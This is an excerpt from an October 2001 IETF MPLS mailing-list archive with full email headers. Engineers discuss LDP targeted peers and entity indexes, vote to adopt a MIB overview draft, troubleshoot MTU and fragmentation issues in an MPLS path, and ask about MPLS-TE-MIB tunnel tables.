> each targeted peer in the entity table
> with same mplsEntityLdpIds with different mplsLdpEntityIndex in which
> session created by extended discovery method.

The LdpId needs to be unique for an entity (i.e. LSR A).  The
EntityIndex was requested
by the working group for use with something like multi-link PPP.  It
does not mean that this
is a different entity (it means that the same entity needs a way to
differentiate something)
 -- if the LDP ID is the same, then it is the same entity.  An entity
negotiates with a peer
and this is when (according to LDP protocol) they agree on using DOD or
DU as well as the
label range, as well as other info.

  -Joan

> 
> > you will still have only
> >one LSRID and that implies that one session will be capable of both
> >DOD and DU which is not possible with LDP.
> >
> >   Thanks, Joan
> 
> Thanks,
> Kishore


From owner-mpls@UU.NET  Fri Oct 19 12:04:40 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA22214
	for <mpls-archive@lists.ietf.org>; Fri, 19 Oct 2001 12:04:40 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllkt27538;
	Fri, 19 Oct 2001 14:51:16 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllkt08838
	for mpls-outgoing; Fri, 19 Oct 2001 14:51:10 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQllkt08828
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 14:50:57 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllkt07582
	for <mpls@UU.NET>; Fri, 19 Oct 2001 14:49:20 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: oe73.law10.hotmail.com [64.4.14.208])
	id QQllkt25159
	for <mpls@UU.NET>; Fri, 19 Oct 2001 14:49:36 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 19 Oct 2001 07:49:18 -0700
X-Originating-IP: [12.34.209.74]
From: "Frank Hujber" <fhujber@hotmail.com>
To: "MPLS Group" <mpls@UU.NET>
Subject: Fw: draft-nadeau-mpls-mgmt-overview-00.txt
Date: Fri, 19 Oct 2001 10:49:09 -0400
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_00B9_01C1588B.AE3CC080"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Message-ID: <OE73035e1ADkREzKOE10000f37a@hotmail.com>
X-OriginalArrivalTime: 19 Oct 2001 14:49:18.0982 (UTC) FILETIME=[3B418260:01C158AD]
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_00B9_01C1588B.AE3CC080
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Sorry. I meant 'cast' my small vote.

Frank
----- Original Message -----=20
From: Frank Hujber=20
To: MPLS Group=20
Sent: Friday, October 19, 2001 10:33 AM
Subject: Fw: draft-nadeau-mpls-mgmt-overview-00.txt


Please allow me to cadt my small vote, also in favor of this draft.

Frank Hujber
Alphion Corporation
----- Original Message -----=20
From: Jonathan Lang=20
To: 'Thomas Nadeau' ; mpls@UU.NET=20
Cc: Wijnen, Bert (Bert) ; Scott Bradner ; Rob Coltun ; abha ahuja ; =
George Swallow ; Vijay Srinivasan ; swallow@cisco.com ; =
cheenu@alphion.com ; afarrel@movaz.com=20
Sent: Wednesday, October 17, 2001 3:21 PM
Subject: RE: draft-nadeau-mpls-mgmt-overview-00.txt


I think this is a good idea and I support this as an MPLS WG document.
=20
-Jonathan
  -----Original Message-----
  From: Thomas Nadeau [mailto:tnadeau@cisco.com]
  Sent: Wednesday, October 17, 2001 10:38 AM
  To: mpls@UU.NET
  Cc: Wijnen, Bert (Bert); Scott Bradner; Rob Coltun; abha ahuja; George =
Swallow; Vijay Srinivasan; swallow@cisco.com; cheenu@alphion.com; =
afarrel@movaz.com
  Subject: draft-nadeau-mpls-mgmt-overview-00.txt



          Hi,

          I would like to propose that =
draft-nadeau-mpls-mgmt-overview-00.txt
  be accepted as an MPLS WG draft. This draft was specifically
  asked for by Bert Wijnen, one of the ADs for MPLS, in an effort
  to consolidate the information about MPLS-related MIBs in one
  place.=20

          --Tom




  =
------------------------------------------------------------------------
  Mathematics is the supreme nostalgia of our time.=20

------=_NextPart_000_00B9_01C1588B.AE3CC080
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Sorry. I meant 'cast' my small =
vote.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Frank</FONT></DIV>
<DIV style=3D"FONT: 10pt arial">----- Original Message -----=20
<DIV style=3D"BACKGROUND: #e4e4e4; font-color: black"><B>From:</B> <A=20
href=3D"mailto:fhujber@hotmail.com" title=3Dfhujber@hotmail.com>Frank =
Hujber</A>=20
</DIV>
<DIV><B>To:</B> <A href=3D"mailto:mpls@UU.NET" title=3Dmpls@UU.NET>MPLS =
Group</A>=20
</DIV>
<DIV><B>Sent:</B> Friday, October 19, 2001 10:33 AM</DIV>
<DIV><B>Subject:</B> Fw: =
draft-nadeau-mpls-mgmt-overview-00.txt</DIV></DIV>
<DIV><BR></DIV>
<DIV><FONT face=3DArial size=3D2>Please allow me to cadt my small vote, =
also in=20
favor of this draft.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Frank Hujber</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Alphion Corporation</FONT></DIV>
<DIV style=3D"FONT: 10pt arial">----- Original Message -----=20
<DIV style=3D"BACKGROUND: #e4e4e4; font-color: black"><B>From:</B> <A=20
href=3D"mailto:jplang@calient.net" title=3Djplang@calient.net>Jonathan =
Lang</A>=20
</DIV>
<DIV><B>To:</B> <A href=3D"mailto:tnadeau@cisco.com"=20
title=3Dtnadeau@cisco.com>'Thomas Nadeau'</A> ; <A =
href=3D"mailto:mpls@UU.NET"=20
title=3Dmpls@UU.NET>mpls@UU.NET</A> </DIV>
<DIV><B>Cc:</B> <A href=3D"mailto:bwijnen@lucent.com"=20
title=3Dbwijnen@lucent.com>Wijnen, Bert (Bert)</A> ; <A=20
href=3D"mailto:sob@harvard.edu" title=3Dsob@harvard.edu>Scott =
Bradner</A> ; <A=20
href=3D"mailto:rcoltun@redback.com" title=3Drcoltun@redback.com>Rob =
Coltun</A> ; <A=20
href=3D"mailto:ahuja@umich.edu" title=3Dahuja@umich.edu>abha ahuja</A> ; =
<A=20
href=3D"mailto:swallow@cisco.com" title=3Dswallow@cisco.com>George =
Swallow</A> ; <A=20
href=3D"mailto:vijay@cosinecom.com" title=3Dvijay@cosinecom.com>Vijay =
Srinivasan</A>=20
; <A href=3D"mailto:swallow@cisco.com"=20
title=3Dswallow@cisco.com>swallow@cisco.com</A> ; <A=20
href=3D"mailto:cheenu@alphion.com" =
title=3Dcheenu@alphion.com>cheenu@alphion.com</A>=20
; <A href=3D"mailto:afarrel@movaz.com"=20
title=3Dafarrel@movaz.com>afarrel@movaz.com</A> </DIV>
<DIV><B>Sent:</B> Wednesday, October 17, 2001 3:21 PM</DIV>
<DIV><B>Subject:</B> RE: =
draft-nadeau-mpls-mgmt-overview-00.txt</DIV></DIV>
<DIV><BR></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D577472119-17102001>I=20
think this is a good idea and I&nbsp;support this as an MPLS WG=20
document.</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D577472119-17102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D577472119-17102001>-Jonathan</SPAN></FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: =
5px">
  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> Thomas Nadeau [<A=20
  =
href=3D"mailto:tnadeau@cisco.com">mailto:tnadeau@cisco.com</A>]<BR><B>Sen=
t:</B>=20
  Wednesday, October 17, 2001 10:38 AM<BR><B>To:</B> <A=20
  href=3D"mailto:mpls@UU.NET">mpls@UU.NET</A><BR><B>Cc:</B> Wijnen, Bert =
(Bert);=20
  Scott Bradner; Rob Coltun; abha ahuja; George Swallow; Vijay =
Srinivasan; <A=20
  href=3D"mailto:swallow@cisco.com">swallow@cisco.com</A>; <A=20
  href=3D"mailto:cheenu@alphion.com">cheenu@alphion.com</A>; <A=20
  =
href=3D"mailto:afarrel@movaz.com">afarrel@movaz.com</A><BR><B>Subject:</B=
>=20
  draft-nadeau-mpls-mgmt-overview-00.txt<BR><BR></DIV></FONT><FONT=20
  =
size=3D3><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-T=
AB>Hi,<BR><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-=
TAB>I=20
  would like to propose that =
draft-nadeau-mpls-mgmt-overview-00.txt<BR>be=20
  accepted as an MPLS WG draft. This draft was specifically<BR>asked for =
by Bert=20
  Wijnen, one of the ADs for MPLS, in an effort<BR>to consolidate the=20
  information about MPLS-related MIBs in one<BR>place.=20
  =
<BR><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>--=
Tom<BR></FONT><BR><BR><BR>
  =
<DIV>--------------------------------------------------------------------=
----</DIV>Mathematics=20
  is the supreme nostalgia of our time. </BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_00B9_01C1588B.AE3CC080--


From owner-mpls@UU.NET  Fri Oct 19 12:30:16 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA23080
	for <mpls-archive@lists.ietf.org>; Fri, 19 Oct 2001 12:30:15 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllkz19729;
	Fri, 19 Oct 2001 16:27:03 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllkz24625
	for mpls-outgoing; Fri, 19 Oct 2001 16:26:57 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllkz24620
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 16:26:52 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllkz08483
	for <mpls@UU.NET>; Fri, 19 Oct 2001 16:25:34 GMT
Received: from wiprom2mx1.wipro.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: wiprom2mx1.wipro.com [203.197.164.41])
	id QQllkz16084
	for <mpls@UU.NET>; Fri, 19 Oct 2001 16:25:24 GMT
Received: from m2vwall2.wipro.com (m2vwall2.wipro.com [164.164.29.236])
	by wiprom2mx1.wipro.com (8.11.3/8.11.3) with SMTP id f9JGPVl02042
	for <mpls@UU.NET>; Fri, 19 Oct 2001 21:55:32 +0530 (IST)
Received: from alcatel-gw.wipinfo.soft.net ([192.168.220.200])
          by sarovar.mail.wipro.com (Netscape Messaging Server 4.15) with
          ESMTP id GLGOA900.6BC; Fri, 19 Oct 2001 21:55:21 +0530 
Received: from boochi.alc.wipinfo.soft.net ([192.168.220.203]) by alcatel-gw.wipinfo.soft.net (8.7.5/8.9.3) with ESMTP id RAA06564; Fri, 19 Oct 2001 17:04:27 +0530
Date: Fri, 19 Oct 2001 21:58:53 +0400 (RET)
From: "Nagabhushana Ramaswamy Nadig" <nagabhushana.ramaswamy@wipro.com>
X-X-Sender: <bhushanr@boochi.alc.wipinfo.soft.net>
Reply-To: <nagabhushana.ramaswamy@wipro.com>
To: "Tiruveedhula Kishore" <kishore@tenornetworks.com>
cc: "'Joan Cucchiara'" <jcucchia@CrescentNetworks.com>, <mpls@UU.NET>
Subject: RE: targeted peer configuration in LDP...
In-Reply-To: <6B190B34070BD411ACA000B0D0214E56011B525E@newman.tenornet.com>
Message-ID: <Pine.LNX.4.31.0110192100200.6955-100000@boochi.alc.wipinfo.soft.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Kishore,

	I don't think you can have multiple targeted peers in case of per
platform label space, for the fact that you can have only one LDPId for
that peer and as the entity table description in the LDP mib you can
configure only one targeted peer entity.
	If you plan to have multiple LDPIds in case of platform wide label
scope by changing the LSR id you wull actually be simulating the behaviour
of two LSRs on a single host.....

some one can correct throw more light on this..

regards
Bhushana

>
>    Label Range is negotiated only for ATM and FR interfaces.
> All targeted peer configuration uses only platform label space.
> In case of platform label space, all targeted entities have label space id
> is zero.
> So for each targeted entity is need to be differentiated by different LSR
> ID, which is not good.
> In this case, how can you differentiate different targeted entities using
> platform label space ?
>
> Thanks,
> Kishore
>
> >It would not be possible to use the same label ranges for the same LdpId
> >over and over (even if
> >you are talking to other peers).  That is why it's negotiated and agreed
> >to prior to establishing
> >sessions.
>
> > -Joan
>
> >
> > regards
> > Bhushana
>
>




From owner-mpls@UU.NET  Fri Oct 19 12:43:56 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA23692
	for <mpls-archive@lists.ietf.org>; Fri, 19 Oct 2001 12:43:56 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllla10009;
	Fri, 19 Oct 2001 16:39:34 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllla25529
	for mpls-outgoing; Fri, 19 Oct 2001 16:39:24 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQllla25524
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 16:39:21 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllla04777
	for <mpls@uu.net>; Fri, 19 Oct 2001 16:39:19 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllla09395
	for <mpls@uu.net>; Fri, 19 Oct 2001 16:39:10 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id MAA07430 for <mpls@uu.net>; Fri, 19 Oct 2001 12:39:18 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id MAA11567 for mpls@uu.net; Fri, 19 Oct 2001 12:39:18 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllla25138
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 16:33:49 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllla26067
	for <mpls@UU.NET>; Fri, 19 Oct 2001 16:33:29 GMT
Received: from BRSPOMAIL01.br.attla.corp by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gw.attla.com.br [200.173.132.130])
	id QQllla21053
	for <mpls@UU.NET>; Fri, 19 Oct 2001 16:33:46 GMT
Received: by BRSPOMAIL01.br.attla.corp with Internet Mail Service (5.5.2653.19)
	id <V1V29XBT>; Fri, 19 Oct 2001 14:32:58 -0300
Message-ID: <C6FBB67DF697F84980770AC75B485058442177@brspomail02.br.attla.corp>
From: "Loureiro, Rodrigo - (Bra)" <rodrigo.loureiro@attla.com>
To: mpls@UU.NET, mpls-ops@mplsrc.com
Subject: Problems w/ MTU
Date: Fri, 19 Oct 2001 14:32:59 -0300
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C158C4.1886B440"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C158C4.1886B440
Content-Type: text/plain;
	charset="iso-8859-1"

Hi all,

I am investigating a problem with packet forwarding/switching in a MPLS
scope regarding maximum transfer unit, and i would like to share my doubts
with you.

Imagine a four routers setup: PE1, P1, P2 and PE2. PE1 is connected to P1
via POS, P1 is connected to P2 via ATM and P2 is connected to PE2 via a
FastEthernet cross-connection. Imagine also that POS interface is configured
with a 1500 bytes MTU, ATM with 4470 bytes and FastEthernet with 1500 bytes
(consider this hardware is capable to generate Ethernet frames up to 1510
bytes of payload for labeling purposes). 

Now, consider that PE1 and PE2 has a MP-BGP session directly between them.
Considering that BGP is capable to generate messages up to 4096 bytes (RFC
1771), we should guarantee that packets greater than 1500 bytes sent from
PE1 toward PE2 are being fragmented. Instead of this, the packets will be
discarded in the FastEthernet connection between P2 and PE2, once MPLS will
not  fragment the packets. 

I made a test with ICMP from PE1 to PE2, generating packets greater than
1500 bytes, and i could see that packets were not being fragmented by PE1.
So, one question arises: What should be the correct behavior for IP packets
originated inside the router toward another router in a MPLS environment:
should it follow the interface MTU and fragment the packet or should it
ignore it and label switch the packet regardless of its lengh ?


Regards,
--

Rodrigo Loureiro
AT&T LA - Network Engineer

------_=_NextPart_001_01C158C4.1886B440
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>Problems w/ MTU</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hi all,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I am investigating a problem with =
packet forwarding/switching in a MPLS scope regarding maximum transfer =
unit, and i would like to share my doubts with you.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Imagine a four routers setup: PE1, P1, =
P2 and PE2. PE1 is connected to P1 via POS, P1 is connected to P2 via =
ATM and P2 is connected to PE2 via a FastEthernet cross-connection. =
Imagine also that POS interface is configured with a 1500 bytes MTU, =
ATM with 4470 bytes and FastEthernet with 1500 bytes (consider this =
hardware is capable to generate Ethernet frames up to 1510 bytes of =
payload for labeling purposes). </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Now, consider that PE1 and PE2 has a =
MP-BGP session directly between them. Considering that BGP is capable =
to generate messages up to 4096 bytes (RFC 1771), we should guarantee =
that packets greater than 1500 bytes sent from PE1 toward PE2 are being =
fragmented. Instead of this, the packets will be discarded in the =
FastEthernet connection between P2 and PE2, once MPLS will not&nbsp; =
fragment the packets. </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I made a test with ICMP from PE1 to =
PE2, generating packets greater than 1500 bytes, and i could see that =
packets were not being fragmented by PE1. So, one question arises: What =
should be the correct behavior for IP packets originated inside the =
router toward another router in a MPLS environment: should it follow =
the interface MTU and fragment the packet or should it ignore it and =
label switch the packet regardless of its lengh ?</FONT></P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">Regards,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">--</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Rodrigo Loureiro</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">AT&amp;T LA - Network Engineer</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C158C4.1886B440--



From owner-mpls@UU.NET  Fri Oct 19 13:05:03 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA24615
	for <mpls-archive@lists.ietf.org>; Fri, 19 Oct 2001 13:05:02 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlllc16980;
	Fri, 19 Oct 2001 17:01:57 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlllc01459
	for mpls-outgoing; Fri, 19 Oct 2001 17:01:45 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlllc01271
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 17:01:40 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlllc08154
	for <mpls@UU.NET>; Fri, 19 Oct 2001 17:00:16 GMT
Received: from jenna.mindvision.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: jenna.mindvision.com [216.170.22.4])
	id QQlllc04192
	for <mpls@UU.NET>; Fri, 19 Oct 2001 17:00:32 GMT
Received: (from alan@localhost)
	by jenna.mindvision.com (8.11.1/8.11.1) id f9JFxuW19243;
	Fri, 19 Oct 2001 10:59:56 -0500
Date: Fri, 19 Oct 2001 10:59:56 -0500
From: Alan Hannan <alan@routingloop.com>
To: "Loureiro, Rodrigo - (Bra)" <rodrigo.loureiro@attla.com>
Cc: mpls@UU.NET, mpls-ops@mplsrc.com
Subject: Re: Problems w/ MTU
Message-ID: <20011019105956.I15639@mindvision.com>
References: <C6FBB67DF697F84980770AC75B485058442177@brspomail02.br.attla.corp>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <C6FBB67DF697F84980770AC75B485058442177@brspomail02.br.attla.corp>
Sender: owner-mpls@UU.NET
Precedence: bulk


  This is a known issue, operationally.

  You must set the MTU of your Layer 3 transmittal driver to be small
  enough to allow needed Label Stacking.  I believe we set the MTU of
  much ethernet to 1490 or so to allow this, which also wreaks
  cosmetic habit with certain syslog-alarm-happy boxes...

  In practice, most POS MTUs are 4470, not 1500, FWIW.

  The router should fragment, and it will, but the switch will drop.

  -alan

Thus spake Loureiro, Rodrigo - (Bra) (rodrigo.loureiro@attla.com)
 on or about Fri, Oct 19, 2001 at 02:32:59PM -0300:
> Hi all,
> 
> I am investigating a problem with packet forwarding/switching in a MPLS
> scope regarding maximum transfer unit, and i would like to share my doubts
> with you.
> 
> Imagine a four routers setup: PE1, P1, P2 and PE2. PE1 is connected to P1
> via POS, P1 is connected to P2 via ATM and P2 is connected to PE2 via a
> FastEthernet cross-connection. Imagine also that POS interface is configured
> with a 1500 bytes MTU, ATM with 4470 bytes and FastEthernet with 1500 bytes
> (consider this hardware is capable to generate Ethernet frames up to 1510
> bytes of payload for labeling purposes). 
> 
> Now, consider that PE1 and PE2 has a MP-BGP session directly between them.
> Considering that BGP is capable to generate messages up to 4096 bytes (RFC
> 1771), we should guarantee that packets greater than 1500 bytes sent from
> PE1 toward PE2 are being fragmented. Instead of this, the packets will be
> discarded in the FastEthernet connection between P2 and PE2, once MPLS will
> not  fragment the packets. 
> 
> I made a test with ICMP from PE1 to PE2, generating packets greater than
> 1500 bytes, and i could see that packets were not being fragmented by PE1.
> So, one question arises: What should be the correct behavior for IP packets
> originated inside the router toward another router in a MPLS environment:
> should it follow the interface MTU and fragment the packet or should it
> ignore it and label switch the packet regardless of its lengh ?
> 
> 
> Regards,
> --
> 
> Rodrigo Loureiro
> AT&T LA - Network Engineer


From owner-mpls@UU.NET  Fri Oct 19 13:24:05 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA25121
	for <mpls-archive@lists.ietf.org>; Fri, 19 Oct 2001 13:24:05 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllld09596;
	Fri, 19 Oct 2001 17:21:56 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllld18111
	for mpls-outgoing; Fri, 19 Oct 2001 17:21:24 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllld18106
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 17:21:21 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllld25330
	for <mpls@UU.NET>; Fri, 19 Oct 2001 17:21:04 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQllld19287
	for <mpls@UU.NET>; Fri, 19 Oct 2001 17:20:55 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA12022
	for <mpls@UU.NET>; Fri, 19 Oct 2001 13:21:02 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA21854
	for <mpls@UU.NET>; Fri, 19 Oct 2001 13:21:03 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <VF3G6KBM>; Fri, 19 Oct 2001 13:21:02 -0400
Message-ID: <313680C9A886D511A06000204840E1CF8F4D8A@whq-msgusr-02.pit.comms.marconi.com>
From: "Choudhury, Sanjaya" <Sanjaya.Choudhury@marconi.com>
To: "'mpls@UU.NET'" <mpls@UU.NET>
Subject: Few questions related to MPLS-TE-MIB: tunnels vs tunnelInstances
Date: Fri, 19 Oct 2001 13:21:02 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk


	Hi! I have few comments/questions related to the MPLS-TE-MIB.
	Your help will be appreciated.

	Q1. mplsTunnelTable represents two kind of concepts:Tunnel & 
	TunnelInstance. 
	
	It may make sense, to keep some of the attributes associated
	with a tunnelInstance same, if they belong to the same tunnel.

	Is my assumption correct ? Is so, should there be two tables
	: mplsTunnelTable & mplsTunneInstanceTable ?

	Q2. Specifically, what is the scope (tunnel or tunnelInstance)
	of the following attribute ?
	
		a) mplsTunnelName - Should this be same for all tunnel 
		instances, within a tunnel ?
	
		b)mplsTunnelIfIndex - Do we have one ifIndex per 
		tunnel or one ifIndex per tunnelInstance ? 

		[Does it make sense to create one ifIndex per 
		tunnelInstance ???]

	Q3. tunnelInstancePriority is valid ONLY within the context of 
	a tunnel. 

	Does this mean that two tunnelInstances that belong to two
	 _different_ tunnels (different tunnelIndex) should not be used
	 for load sharing even if the -IngressLSRId , EgressLSRId & 
	tunnelInstancePriority are same?
	
	* It may be helpful to add a little more text to the draft,
indicating 
	when should the user create a new tunnelInstance, instead of
	new tunnel.
	
	Thanks,
	sanjay


	


From owner-mpls@UU.NET  Fri Oct 19 14:08:20 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA26341
	for <mpls-archive@lists.ietf.org>; Fri, 19 Oct 2001 14:08:20 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlllg15837;
	Fri, 19 Oct 2001 18:07:11 GMT
